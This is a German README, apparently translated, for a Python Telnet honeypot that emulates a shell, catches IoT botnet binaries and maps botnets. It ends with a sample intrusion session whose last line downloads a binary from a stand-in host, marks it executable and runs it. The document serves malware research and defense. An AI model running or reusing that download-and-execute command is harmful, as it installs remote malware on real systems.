
Python Telnet-Honeypot zum Abfangen von Botnet-Binärdateien
Dieses Projekt wird weder unterstützt noch weiterentwickelt. Es basiert auf Python2, das 2020 sein EOL erreicht hat, und verwendet Abhängigkeiten, die mit der Zeit immer schwieriger zu installieren sind. Nutzung auf eigene Gefahr!
'Python-Telnet-Honeypot zum Abfangen von Botnet-Binärdateien'
Dieses Projekt implementiert einen Python-Telnet-Server, der versucht, als Honeypot für IoT-Malware zu fungieren, die sich über schrecklich unsichere Standardpasswörter auf Telnet-Servern im Internet verbreitet.
Der Honeypot funktioniert durch Emulation einer Shell-Umgebung, ähnlich wie Cowrie (https://github.com/micheloosterhof/cowrie). Das Hauptziel dieses Projekts ist es, Botnet-Verbindungen automatisch zu analysieren und Botnets zu "kartieren", indem verschiedene Verbindungen und sogar Netzwerke miteinander verknüpft werden.
Die Anwendung hat eine Client/Server-Architektur, bei der ein Client (der eigentliche Honeypot) Telnet-Verbindungen annimmt und ein Server Informationen über Verbindungen empfängt und die Analyse durchführt.
Der Backend-Server stellt eine HTTP-Schnittstelle bereit, die sowohl für den Zugriff auf das Frontend als auch von den Clients genutzt wird, um neue Verbindungsinformationen an das Backend zu senden.
Das Backend verwendet zwei verschiedene Mechanismen, um Verbindungen automatisch zu verknüpfen:
Netzwerke sind entdeckte Botnets. Ein Netzwerk ist die Menge aller verknüpften Verbindungen, URLs und Samples. URLs und Samples werden verknüpft, wenn sie in einer Verbindung verwendet werden. Zwei Verbindungen werden verknüpft, wenn beide Verbindungen vom selben Honeypot-Client empfangen werden (mehrere Clients werden unterstützt!) und innerhalb kurzer Zeit (Standard 2 Minuten) dieselben Anmeldedaten verwenden oder von derselben IP-Adresse stammen.
Mehrere Netzwerke werden als Nutzer desselben Malware-Typs identifiziert, wenn der während der Sitzungen der Netzwerke eingegebene Text größtenteils identisch ist. Dieser Vergleich erfolgt mithilfe einer Art "Hash"-Funktion, die eine Sitzung (oder Verbindung) im Wesentlichen in eine Folge von Wörtern übersetzt und dann jedes Wort auf ein einzelnes Byte abbildet, sodass die resultierende Bytefolge leicht durchsucht werden kann.
Die Anwendung hat eine Konfigurationsdatei namens config.py. Beispiele sind für lokale und Client/Server-Bereitstellungen enthalten.
Das Backend benötigt eine SQL-Datenbank (Standard sqlite), die beim ersten Start initialisiert wird. Vor dem ersten Start sollten Sie ein Administratorkonto erstellen, das zum Generieren weiterer Benutzer verwendet wird. Das Administratorkonto kann auch direkt von einem Client zum Senden von Verbindungen verwendet werden. Wenn mehr als ein Honeypot verbunden werden soll, wird die Erstellung mehrerer Benutzer empfohlen.
bash create_config.sh
Sowohl Client als auch Backend lesen die Dateien config.yaml und config.dist.yaml, um Konfigurationsparameter zu lesen. Die Datei config.dist.yaml enthält Standardwerte für alle außer den Administrator-Benutzeranmeldedaten, und diese Parameter werden durch Einträge in der Datei config.yaml überschrieben.
python backend.py
Dieses Projekt enthält einen eigenen Honeypot, aber aufgrund der Client/Server-Architektur können auch andere Honeypots verwendet werden.
python honeypot.py
Der Client kann nicht gestartet werden, wenn der Server nicht läuft. Um eine andere Konfiguration für den Client zu verwenden, können Sie den Schalter -c wie folgt verwenden:
python honeypot.py -c myconfig.yaml
Wenn Sie nur die Honeypot-Funktionalität überprüfen möchten, können Sie den Client im interaktiven Modus starten:
python honeypot shell
Ich habe ein Ausgabe-Plugin für Cowrie geschrieben, das viel mehr Funktionen als der integrierte Honeypot hat. Wenn Sie stattdessen Cowrie verwenden möchten, sehen Sie sich meinen Fork an, der das Ausgabemodul enthält: https://github.com/Phype/cowrie .
Nachdem der Server gestartet ist, öffnen Sie http://127.0.0.1/ in Ihrem bevorzugten Browser.
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


